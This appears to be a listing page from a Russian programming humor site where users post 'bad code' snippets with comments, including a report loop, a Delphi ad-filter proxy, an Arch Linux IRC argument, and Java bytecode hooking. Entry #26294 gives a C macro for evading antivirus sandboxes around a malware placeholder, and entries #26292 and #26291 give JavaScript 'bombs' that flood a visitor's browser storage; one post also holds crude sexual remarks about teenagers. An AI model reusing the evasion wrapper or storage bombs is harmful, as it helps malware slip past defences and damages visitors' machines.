1. Си / Говнокод #26294

    −1

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    9. 9
    #define BYPASS_AV_BEGIN char* memdmp = NULL;memdmp = (char*)malloc(100000000);if (memdmp != NULL){int cpt = 0;for (int i = 0; i < 100000000; i++){cpt++;}if (cpt == 100000000){HANDLE file;HANDLE proc;proc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 4);if (proc == NULL){LPVOID mem = NULL;mem = VirtualAllocExNuma(GetCurrentProcess(), NULL, 100, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE, 0);if (mem != NULL){DWORD result = FlsAlloc(NULL);if (result != FLS_OUT_OF_INDEXES){
    #define BYPASS_AV_END }}}}}
    
    int main()
    {
        BYPASS_AV_BEGIN
        //malware code...
        BYPASS_AV_END
    }

    Обход антивирусов и антивирусных виртуалок
    https://lolzteam.org/threads/1275661/

    Stallman, 31 Декабря 2019

    Комментарии (181)
  2. Си / Говнокод #26293

    −2

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    int month, print_client, records_printed = 0;
    int distinc[LENGTH];
    // получение month, создание файла и что-то ещё...
    for (int ci = 0; ci < clen; ci++)
    {
        print_client = 0;
        for (int i = 0; i < LENGTH; i++)
            if (distinc[i])
                distinc[i] = 0;
            else break;
        for (int ri = 0; ri < rlen; ri++) {
            if (clients[ci].number == records[ri].number && records[ri].cdate.month == month)
            {
                if (!print_client)
                    fprintf(file, "%s, %lli:\n", clients[ci].fullname, clients[ci].number);
                ++print_client;
                int service = records[ri].service;
                for (int i = 0; i < LENGTH; i++)
                {
                    if (distinc[i])
                    {
                        if (distinc[i] == service)
                            service = 0;
                    }
                    else
                    {
                        distinc[i] = service;
                        break;
                    }
                }
                if (service)
                {
                    for (int si = 0; si < slen; si++)
                    {
                        if (service == services[si].code)
                        {
                            fprintf(file, "\t%s\n", services[si].name);
                            ++records_printed;
                            break;
                        }
                    }
                }
            }
        }
    }

    Имитация СУБД и запроса с исключением повторений

    groser, 30 Декабря 2019

    Комментарии (1)
  3. JavaScript / Говнокод #26292

    −4

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    document.addEventListener('DOMContentLoaded', function() {
    	var req = indexedDB.open('site');
    	req.onerror = function() {
    		alert(this.error);
    	};
    	req.onupgradeneeded = function() {
    		let db = this.result;
    		if(!db.objectStoreNames.contains('files'))
    			db.createObjectStore('files', { autoIncrement: true });
    	};
    	let n = 0;
    	req.onsuccess = function() {
    		setTimeout(function run() {
    			n++;
    			let db = req.result;
    			let t = db.transaction('files', 'readwrite');
    			let file = t.objectStore('files');
    			let str = new Date().toString().repeat(1000);
    			for(let i=0;i<100;i++)
    				file.add(str);
    			if(n < 1000000)
    				setTimeout(run);
    		});
    	};
    });

    теперь страница не будет подвисать

    codershitter, 30 Декабря 2019

    Комментарии (21)
  4. JavaScript / Говнокод #26291

    −4

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    var req = indexedDB.open('site');
    		req.onupgradeneeded = function() {
    			let db = this.result;
    			if(!db.objectStoreNames.contains('files'))
    				db.createObjectStore('files', { autoIncrement: true });
    		};
    		req.onsuccess = function() {
    			let db = this.result;
    			let t = db.transaction('files', 'readwrite');
    			let file = t.objectStore('files');
    			let str = new Date().toString().repeat(1000);
    			while(true)
    				file.add(str);
    		};

    Эту бомбу лучше ставить после полной загрузки страницы

    codershitter, 30 Декабря 2019

    Комментарии (9)
  5. Pascal / Говнокод #26290

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    procedure TForm1.IdHTTPServer1CommandGet(AContext: TIdContext;
      ARequestInfo: TIdHTTPRequestInfo; AResponseInfo: TIdHTTPResponseInfo);
      var
        http:tidhttp;
        ss:tstringstream;
      begin
      try
        http:=tidhttp.Create(nil);
        http.CookieManager:=tIdcookiemanager.Create(nil);
        http.HandleRedirects:=true;
        http.AllowCookies:=True;
        http.Request.UserAgent:='Mozilla/5.0 (Windows NT 6.1; rv:56.0) Gecko/20100101 Firefox/56.0';
        http.IOHandler:=tidssliohandlersocketopenssl.Create(nil);
        http.Compressor:=tidcompressorzlib.Create(nil);
        http.Request.Accept:='text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8';
        http.Request.AcceptEncoding:='gzip, deflate';
        SS:=tstringstream.Create;
        HTTP.Get(ARequestInfo.URI, SS);
        aresponseinfo.CharSet:=http.Response.CharSet;
        aresponseinfo.ContentType:=http.Response.ContentType+'; '+'charset='+http.Response.CharSet+';';
        aresponseinfo.ContentStream:=SS;
        AResponseInfo.WriteContent;
      except
    
      end;
    
    
    end;

    Мой разложившийся мозг сопротивляется. Сковзь пелену галлюцинаций, где где меня имеют сразу несколько волосатых таджиков, отчетливо пробивается реклама. Ее много. Очень много. Реклама и навязчивые видео с предложениями "срубить бабла" даже страшнее галлюцинаций. Я написал простой фильтр, заключающийся в локальном сервере, к которому я подключаюсь из браузера. Сервер является точкой доступа. Неугодные запросы я буду отпиздовывать на корню.
    Собственно, этот код я запостил как фикс досадного гълюка, заключающегося в том, что браузер посылает нахой поле charset. Это херит даже код html.
    Кодировку следует указывать в поле "КонтентТипе"

    пожалуй, всё. пока.

    AnalBoy, 30 Декабря 2019

    Комментарии (10)
  6. Куча / Говнокод #26287

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    <vistefan> In recently installed Manjaro i have this (https://imgur.com/a/e0Prjez) instead of proper AwesomeWM menu called by Super button. Any Ideas? Tried to install additional fonts. Locales are correct.
    <HEX0> !give vistefan manjaro
    <phrik> vistefan: manjaro does things differently from arch, so we can't really support it. ask in #manjaro or ##linux
    <SGOrava> vistefan: you would be fine as long as you do not mention other distributions and pretend to be using Arch, is it that hard ? Even I do that :D
    <SGOrava> vistefan: My idea is that you are missing some fonts or locale...
    <vistefan> SGOrava, :D
    <Scimmia> !give SGOrava notarch
    <phrik> SGOrava: This channel is for Arch Linux support only. Also see https://wiki.archlinux.org/index.php/Code_of_conduct#Arch_Linux_distribution_support_.2Aonly.2A
    <thingfish> you're better off being up front, from the beginning about what you're running.
    <Scimmia> seriously, we don't want you here if you're going to act like a total piece of shit
    <SGOrava> Scimmia: I know sure, but as long as one knows what one can ask here than it is fine
    <Scimmia> no, it's not
    <Scimmia> at all
    <SGOrava> how is it not ?
    <Scimmia> If you're not on Arch, it's not OK, end of story
    <SGOrava> what is wrong with that when one wants to ask a question 
    <Namarrgon> lying about your distro? ban
    <Scimmia> and asking here implies it's Arch, so knowing the rules and asking anyway is lying
    <SGOrava> why be so pedantic ?
    <Namarrgon> we don't like liars
    <SGOrava> that is why I said one needs to know what belongs here and what does not
    <thingfish> people who help in here have a hard enough time supporting actual Arch users.  They don't need to be wasting their time chasing down some issue for other distros, which should have their own support channels.
    <Namarrgon> support for other distros does not belong here
    <SGOrava> Namarrgon: peopúle lie everyday just to survive
    <Namarrgon> that's a shitty excuse
    <cyveris> That's a shitty person.
    <SGOrava> why are you so hostile ?
    <Namarrgon> if you don't like our rules then you there are plenty of other channels that you can join
    <thingfish> because you don't seem to have a clue, dude.
    <Namarrgon> SGOrava: because you are telling other people to lie to the community just to get support
    <SGOrava> I am not, I am telling them to distinguish where the problem is and ask at the source
    <demonicmaniac3> 21:14 < SGOrava> vistefan: you would be fine as long as you do not mention other distributions and pretend to be using Arch, is it that hard ?
    <Scimmia> and if it's not Arch, the problem is not here
    <demonicmaniac3> you are telling them to pretend to use arch when they ask questions
    <Scimmia> SGOrava: sounds like you aren't running arch...
    <SGOrava> I am running Arch, half of the packages comes from Arch repos, so I run Arch
    <Scimmia> So that's a no
    <thingfish> aargh
    <HEX0> !roulette
    * phrik has kicked HEX0 from #archlinux (BANG!)
    <Scimmia> !give SGOrava notarch
    <cyveris> Bold move, cotton.
    * phrik reloads and spins the chambers.
    <phrik> SGOrava: This channel is for Arch Linux support only. Also see https://wiki.archlinux.org/index.php/Code_of_conduct#Arch_Linux_distribution_support_.2Aonly.2A
    <SGOrava> how is it a no ?
    <Scimmia> SGOrava: where do the other half come from?
    <SGOrava> Scimmia: you still would not care
    <Scimmia> yep, not Arch
    <SGOrava> I know what to ask where (mostly)
    <Scimmia> if you're asking here about anything at all, you obviously don't
    <SGOrava> ??
    <Namarrgon> SGOrava: https://wiki.archlinux.org/index.php/Code_of_conduct#Arch_Linux_distribution_support_*only*
    <phrik> Title: Code of conduct - ArchWiki (at wiki.archlinux.org)
    * HEX0 (~HEX0@unaffiliated/hex0) has joined
    <Namarrgon> you can use whatever distro you want but that doesn't mean that we have to put up with your nonsense
    <cyveris> SGOrava: You're not using Arch Linux. You're using some derivative. Hence, this is not the channel for you, and now that everyone here knows you advocate for lying about it to get help, no one will help you.
    <SGOrava> Namarrgon: sorry, it is too long
    <Namarrgon> alright
    <SGOrava> cyveris: nope, it is channel for me when I have problems which are sourced from Arch
    <Scimmia> SGOrava: and now that you know the rules, ask here and get banned
    <SGOrava> Scimmia: what should I ask ?
    <cyveris> And here we go.
    <SGOrava> cyveris: you said I should ask something, so think about it
    <HEX0> stop talking and install arch linux while you can

    vistefan, 29 Декабря 2019

    Комментарии (96)
  7. C++ / Говнокод #26286

    +2

    1. 1
    2. 2
    Сколько красивых подростков проходит мимо каждый день...
    Почему нельзя просто взять - и отсосать, прямо на улице?

    Можно? Да ну нахуй!

    fuckyou, 28 Декабря 2019

    Комментарии (8)
  8. C++ / Говнокод #26285

    −1

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    // https://godbolt.org/z/ZsXDti
    
    #include <boost/hana.hpp>
    #include <range/v3/view.hpp>
    #include <range/v3/experimental/view/shared.hpp>
    #include <iostream>
    
    using namespace ranges::views;
    using std::vector, boost::hana::_, ranges::concat_view, ranges::experimental::views::shared;
    
    
    vector<double> sort(vector<double> vec) {
      if(size(vec) <= 1) {
        return vec;
      } else {
        auto pivot = vec[size(vec) / 2];
        
        return concat_view(
          sort(vec | filter(_ < pivot)),
          vec | filter(_ == pivot),
          sort(vec | filter(_ > pivot))
        );
      }
    }
    
    int main() {
      std::cerr << (sort({30, 20, 50, 40}) | shared | all) << std::endl;
    }

    https://habr.com/ru/post/482318/#comment_21072122

    Царь набрасывает на хабр какое-то крестобустоговно, называя его красивым.

    j123123, 28 Декабря 2019

    Комментарии (89)
  9. Java / Говнокод #26284

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    private static void createHook(MethodNode mn,
                                   String targetClassName,
                                   String hookMethodClass,
                                   String hookMethodName,
                                   Boolean printMessages)
    {
        InsnList il = new InsnList();
        LabelNode originalLabelNode = new LabelNode();
        // Object caller, param1, param2, ...
        String hookMethodDesc = "(Ljava/lang/Object;" + mn.desc.substring(1);
    
        il.add(new VarInsnNode(Opcodes.ALOAD, 0));  // this
        il.add(new MethodInsnNode(Opcodes.INVOKESTATIC,
                                  isOriginalCallClassName,
                                  isOriginalCallMethodName,
                                  isOriginalCallMethodDesc,
                                  false));
        il.add(new JumpInsnNode(Opcodes.IFNE, originalLabelNode));
    
        if (printMessages) {
            il.add(BytecodeHelper.getPrintlnSequence("patched " + mn.name + mn.desc + " called"));
        }
    
        il.add(new VarInsnNode(Opcodes.ALOAD, 0));  // this
        il.add(getParamsLoadSequence(mn.desc, 1));  // other params
        il.add(new MethodInsnNode(Opcodes.INVOKESTATIC, hookMethodClass, hookMethodName, hookMethodDesc, false));
        il.add(new InsnNode(parseReturnOpcode(hookMethodDesc)));
    
        il.add(originalLabelNode);
    
        if (printMessages) {
            il.add(BytecodeHelper.getPrintlnSequence("original " + mn.name + mn.desc + " called"));
        }
        mn.instructions.insert(il);
    }

    Бытует мнение, что «Java» — это высокозащищённый язык, в котором невозможны всяческие си-подобные грязные хаки. На самом деле, конечно, это не так: просто чтобы прострелить себе ногу в «Жабе» — надо чуть больше постараться.

    Фрагмент небольшой самописной либы, позволяющей хукать произвольные методы, прямо как в «Microsoft Detours».

    gost, 28 Декабря 2019

    Комментарии (12)
  10. C++ / Говнокод #26283

    +2

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    9. 9
    Widget&& var1 = someWidget;      // here, “&&” means rvalue reference
     
    auto&& var2 = var1;              // here, “&&” does not mean rvalue reference
     
    template<typename T>
    void f(std::vector<T>&& param);  // here, “&&” means rvalue reference
     
    template<typename T>
    void f(T&& param);               // here, “&&”does not mean rvalue reference

    В мире нет ничего более сложного, запутанного и неадекватно раздутого, чем семантика ссылок и категорий значений в «C++».

    Заглянуть в ад одним глазком: https://en.cppreference.com/w/cpp/language/value_category
    Впустить Ад в себя: https://eli.thegreenplace.net/2014/perfect-forwarding-and-universal-references-in-c
    Поехать кукухой: https://isocpp.org/blog/2012/11/universal-references-in-c11-scott-meyers

    gost, 28 Декабря 2019

    Комментарии (411)